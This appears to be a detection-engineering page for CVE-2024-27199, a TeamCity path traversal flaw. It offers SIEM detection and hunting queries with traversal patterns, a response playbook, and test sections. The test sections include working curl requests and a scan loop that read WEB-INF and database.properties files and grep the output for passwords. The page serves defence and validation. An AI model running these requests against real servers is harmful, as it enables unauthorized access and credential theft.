CVE-2024-27199

JetBrains TeamCity Relative Path Traversal (CVE-2024-27199)

Detects exploitation of CVE-2024-27199, a relative path traversal vulnerability in JetBrains TeamCity on-premises. Unauthenticated attackers can traverse directory paths in the TeamCity web server to access restricted endpoints and files outside the intended web root, potentially leading to information disclosure or authentication bypass chained with CVE-2024-27198.

Vulnerability Intelligence

KEV — Known Exploited

CVSS

7.3
High (7.0–8.9)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Write-up coming soon

What is CVE-2024-27199 JetBrains TeamCity Relative Path Traversal (CVE-2024-27199)?

JetBrains TeamCity Relative Path Traversal (CVE-2024-27199) (CVE-2024-27199) maps to the Initial Access and Defense Evasion and Credential Access tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for JetBrains TeamCity Relative Path Traversal (CVE-2024-27199), covering the data sources and telemetry it touches: W3CIISLog, CommonSecurityLog, AzureDiagnostics. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Defense Evasion Credential Access
Microsoft Sentinel / Defender
kusto
union isfuzzy=true
(
  AzureDiagnostics
  | where Category == "ApplicationGatewayAccessLog"
  | where requestUri_s matches regex @"(?i)/res/[^?]*(?:%2e%2e|\.\.)[^?]*/(?:admin|config|WEB-INF)"
  | project TimeGenerated, requestUri_s, clientIP_s, httpStatus_d, host_s, userAgent_s
),
(
  W3CIISLog
  | where csUriStem matches regex @"(?i)(?:/res/|/update/|/icons/)(?:[^/]*(?:%2e%2e|\.\.)[^/]*/)+"
  | project TimeGenerated, csUriStem, cIP, scStatus, csHost, csUserAgent
),
(
  CommonSecurityLog
  | where DeviceVendor in ("F5", "Palo Alto Networks", "Fortinet", "Cisco")
  | where RequestURL matches regex @"(?i)(?:/res/|/update/).*(?:%2e%2e|%252e%252e|\.\.).*(?:/admin|/config|WEB-INF|server\.xml)"
  | project TimeGenerated, RequestURL, SourceIP, EventOutcome, DestinationHostName, RequestClientApplication
)
| where TimeGenerated > ago(24h)
| extend DecodedPath = replace_string(replace_string(coalesce(requestUri_s, csUriStem, RequestURL), "%2e", "."), "%252e", ".")
| where DecodedPath matches regex @"(?i)(?:\.\./){1,}(?:admin|WEB-INF|conf|config|internal)"
| summarize RequestCount=count(), UniqueEndpoints=dcount(coalesce(requestUri_s, csUriStem, RequestURL)) by SourceIP=coalesce(clientIP_s, cIP, SourceIP), bin(TimeGenerated, 5m)
| where RequestCount >= 3
| extend RiskScore = case(RequestCount >= 20, "Critical", RequestCount >= 10, "High", "Medium")
| project TimeGenerated, SourceIP, RequestCount, UniqueEndpoints, RiskScore

Detects HTTP requests to JetBrains TeamCity containing path traversal sequences targeting restricted paths. Monitors IIS logs, WAF logs, and Azure Application Gateway logs for encoded and double-encoded dot-dot sequences in TeamCity URL patterns.

high severity high confidence

Data Sources

W3CIISLog CommonSecurityLog AzureDiagnostics

Required Tables

W3CIISLog CommonSecurityLog AzureDiagnostics

False Positives

  • Security scanners (Qualys, Nessus, Rapid7 InsightVM) performing authenticated web application scans
  • Penetration testers performing authorized assessments against TeamCity instances
  • Broken link crawlers or SEO tools that may follow malformed URLs
  • Misconfigured reverse proxies that rewrite or corrupt path segments before forwarding

Sigma rule & cross-platform mapping

The detection logic for JetBrains TeamCity Relative Path Traversal (CVE-2024-27199) (CVE-2024-27199) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1TeamCity Path Traversal to WEB-INF via Encoded Dots

    Expected signal: HTTP GET request to /res/..%2f..%2f..%2fWEB-INF/web.xml logged in web server access logs with the attacker's IP. Response code 200 if vulnerable, 400/404 if patched or blocked.

  2. Test 2TeamCity Path Traversal via Double-Encoded Sequences

    Expected signal: HTTP request containing %252f in URL path to TeamCity /update/ endpoint visible in web access logs.

  3. Test 3Automated Traversal Scan Simulation (Multiple Paths)

    Expected signal: Five HTTP GET requests from the same source IP to /res/ URL paths containing %2f traversal sequences within a 10-second window, visible in web server access logs.

  4. Test 4Chain CVE-2024-27199 with Admin Configuration Read

    Expected signal: HTTP GET to /icons/ endpoint with traversal sequence targeting conf/database.properties. HTTP 200 response body containing JDBC connection string indicates successful exploitation.


Response Playbook

Triage

  1. Immediately verify the TeamCity server version: navigate to Administration > About TeamCity or check ${TEAMCITY_HOME}/webapps/ROOT/META-INF/MANIFEST.MF. Versions before 2023.11.4 are vulnerable.
  2. Review web server access logs (default: ${TEAMCITY_LOGS}/teamcity-server.log and IIS/Apache access logs) for the source IP — look for HTTP 200 responses to paths containing %2e%2e or ../ sequences targeting /res/, /update/, or /icons/ URL prefixes.
  3. Check whether the traversal reached sensitive paths: WEB-INF/web.xml, server.xml, or internal admin endpoints. HTTP 200 responses to these paths confirm successful traversal.
  4. Correlate with CVE-2024-27198 indicators: look for authentication bypass attempts (unauthenticated requests to /app/rest/ or /remoteCall/ API endpoints) from the same source IP, as the two CVEs are frequently chained.
  5. Query TeamCity's internal audit log (Administration > Audit) for any configuration changes, new user creation, or token generation that occurred around the time of traversal requests.

Containment

  1. Apply the emergency patch immediately: upgrade TeamCity to version 2023.11.4 or later. If patching is not immediately possible, apply JetBrains' published workaround (restrict network access to the TeamCity port at the firewall level) and block the attacker's IP at the perimeter.
  2. Rotate all TeamCity API tokens, service account credentials, and any secrets stored in TeamCity build configurations or parameters — assume these were read if traversal returned HTTP 200 to configuration paths. Revoke and reissue VCS integration tokens and cloud provider credentials stored in TeamCity.

Evidence Collection

  1. Export full web server access logs covering the attack window: collect all HTTP requests from the attacker IP, preserving raw encoded URLs, response codes, response sizes, and timestamps. Archive to tamper-evident storage.
  2. Capture TeamCity server logs from ${TEAMCITY_LOGS}/teamcity-server.log, teamcity-activities.log, and the internal audit log. These contain server-side processing of traversal requests and any resulting privilege escalation or configuration reads.

Escalation Criteria

  • ! Escalate to incident response if any HTTP 200 response is observed for traversal paths targeting WEB-INF/, server.xml, internal admin endpoints, or build configuration data — successful read access means credentials may be compromised.
  • ! Escalate immediately if the attacker IP shows follow-on activity: authenticated API calls, new user account creation, build agent registration, or execution of build configurations, as this indicates CVE-2024-27198 chaining or post-exploitation persistence.

Investigation Guide

Forensic Artifacts

  • > Web server access logs with raw URL encoding showing %2e%2e or %252e%252e sequences in TeamCity URL paths
  • > TeamCity server log entries showing file read operations outside the expected web root directory
  • > TeamCity audit log showing configuration changes, new API token generation, or user creation following traversal activity
  • > Network flow logs showing the attacker IP establishing connections to TeamCity port (default 8111) with unusual request volumes or timing
  • > File system timestamps on TeamCity configuration files (config/ directory, database.properties) indicating unexpected access

Tuning Guidance

Start by establishing a baseline of legitimate TeamCity traffic patterns for the /res/ and /icons/ URL prefixes — these serve static assets and should never contain dot-dot sequences. After initial deployment, set the request_count threshold at 3 to catch automated scanning, then review false positives from authorized scanners and add their IP ranges to an exclusion list. If TeamCity sits behind a WAF that performs URL decoding before logging, ensure your detection covers decoded paths (plain ../) not just encoded variants. For environments where TeamCity is only accessible via VPN, consider dropping the threshold to 1 and alerting on any traversal attempt regardless of count. Review response codes carefully: HTTP 200 responses to traversal paths warrant immediate escalation while 400/404 responses may indicate blocked or unsuccessful attempts.


Hunting Queries

Retrospective 7-day hunt across IIS logs for any path traversal attempts against TeamCity URL prefixes, including single low-volume probes that may have been missed by threshold-based alerting. Surfaces successful (HTTP 200) traversals for immediate investigation.

Hunting — KQL
kql
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem matches regex @"(?i)/(?:res|update|icons|plugins)/"
| where csUriStem matches regex @"(?i)(?:%2e|\\.)(?:%2e|\\.)(?:%2f|/)"
| where scStatus in (200, 403, 500)
| summarize TotalRequests=count(), Successful=countif(scStatus==200), Forbidden=countif(scStatus==403) by cIP, bin(TimeGenerated, 1h)
| where TotalRequests >= 1
| order by Successful desc
Hunting — SPL
spl
index=web sourcetype=iis earliest=-7d
| rex field=cs_uri_stem "(?i)(?<traversal_seq>(?:%2e%2e|%252e%252e|\.\.)(?:%2f|/))"
| where isnotnull(traversal_seq)
| where match(cs_uri_stem, "(?i)/(?:res|update|icons|plugins)/")
| stats count as hits, dc(cs_uri_stem) as unique_paths, values(sc_status) as status_codes by c_ip, date_hour
| sort -hits

Atomic Red Team Tests

Test 1 TeamCity Path Traversal to WEB-INF via Encoded Dots
linux

Simulates CVE-2024-27199 exploitation by sending an HTTP GET request with URL-encoded path traversal sequences to reach the WEB-INF/web.xml configuration file via the /res/ endpoint.

Command

bash
curl -v -k 'http://TARGET_TEAMCITY:8111/res/..%2f..%2f..%2fWEB-INF/web.xml' -H 'User-Agent: Mozilla/5.0' --max-time 10

Cleanup

bash
No cleanup required — this is a read-only HTTP request. Review TeamCity access logs to confirm the test was logged.

Expected Telemetry

HTTP GET request to /res/..%2f..%2f..%2fWEB-INF/web.xml logged in web server access logs with the attacker's IP. Response code 200 if vulnerable, 400/404 if patched or blocked.

Expected Detection

Alert triggered by kql or spl query matching %2f traversal sequence in /res/ URL path targeting WEB-INF.

Test 2 TeamCity Path Traversal via Double-Encoded Sequences
linux

Tests detection of double-encoded path traversal (%252e%252e = double-encoded ..) which bypasses naive single-decode filters in WAFs and logging systems.

Command

bash
curl -v -k 'http://TARGET_TEAMCITY:8111/update/..%252f..%252f..%252fWEB-INF/web.xml' -H 'User-Agent: Mozilla/5.0' --max-time 10

Cleanup

bash
No cleanup required. Confirm detection fired for the double-encoded variant.

Expected Telemetry

HTTP request containing %252f in URL path to TeamCity /update/ endpoint visible in web access logs.

Expected Detection

Alert triggered by queries matching %252e%252e or %252f pattern in TeamCity URL paths.

Test 3 Automated Traversal Scan Simulation (Multiple Paths)
linux

Simulates a scanner probing multiple traversal targets in rapid succession to trigger threshold-based detection rules. Sends 5 traversal requests in under 60 seconds from the same IP.

Command

bash
for path in 'WEB-INF/web.xml' 'WEB-INF/classes/log4j.properties' 'conf/server.xml' 'admin/index.jsp' 'config/database.properties'; do curl -sk 'http://TARGET_TEAMCITY:8111/res/..%2f..%2f..%2f'"$path" -o /dev/null -w "%{http_code} $path\n"; sleep 2; done

Cleanup

bash
No cleanup required — all requests are read-only GETs. Document HTTP response codes for each path to establish which traversals succeeded.

Expected Telemetry

Five HTTP GET requests from the same source IP to /res/ URL paths containing %2f traversal sequences within a 10-second window, visible in web server access logs.

Expected Detection

Threshold-based alert firing on request_count >= 3 from the same source IP within the 5-minute aggregation window.

Test 4 Chain CVE-2024-27199 with Admin Configuration Read
linux

Simulates reading the TeamCity database configuration file via path traversal, which could expose database credentials as part of a wider compromise chain.

Command

bash
curl -v -k 'http://TARGET_TEAMCITY:8111/icons/..%2f..%2f..%2f..%2fconf%2fdatabase.properties' -H 'Accept: */*' --max-time 10 2>&1 | grep -E '(HTTP|password|jdbc|url)'

Cleanup

bash
No cleanup required. If the file is returned, rotate any credentials found immediately as they are compromised.

Expected Telemetry

HTTP GET to /icons/ endpoint with traversal sequence targeting conf/database.properties. HTTP 200 response body containing JDBC connection string indicates successful exploitation.

Expected Detection

Alert triggered by traversal pattern in /icons/ URL path; if HTTP 200 returned, this should trigger escalation path in playbook.

Related Detections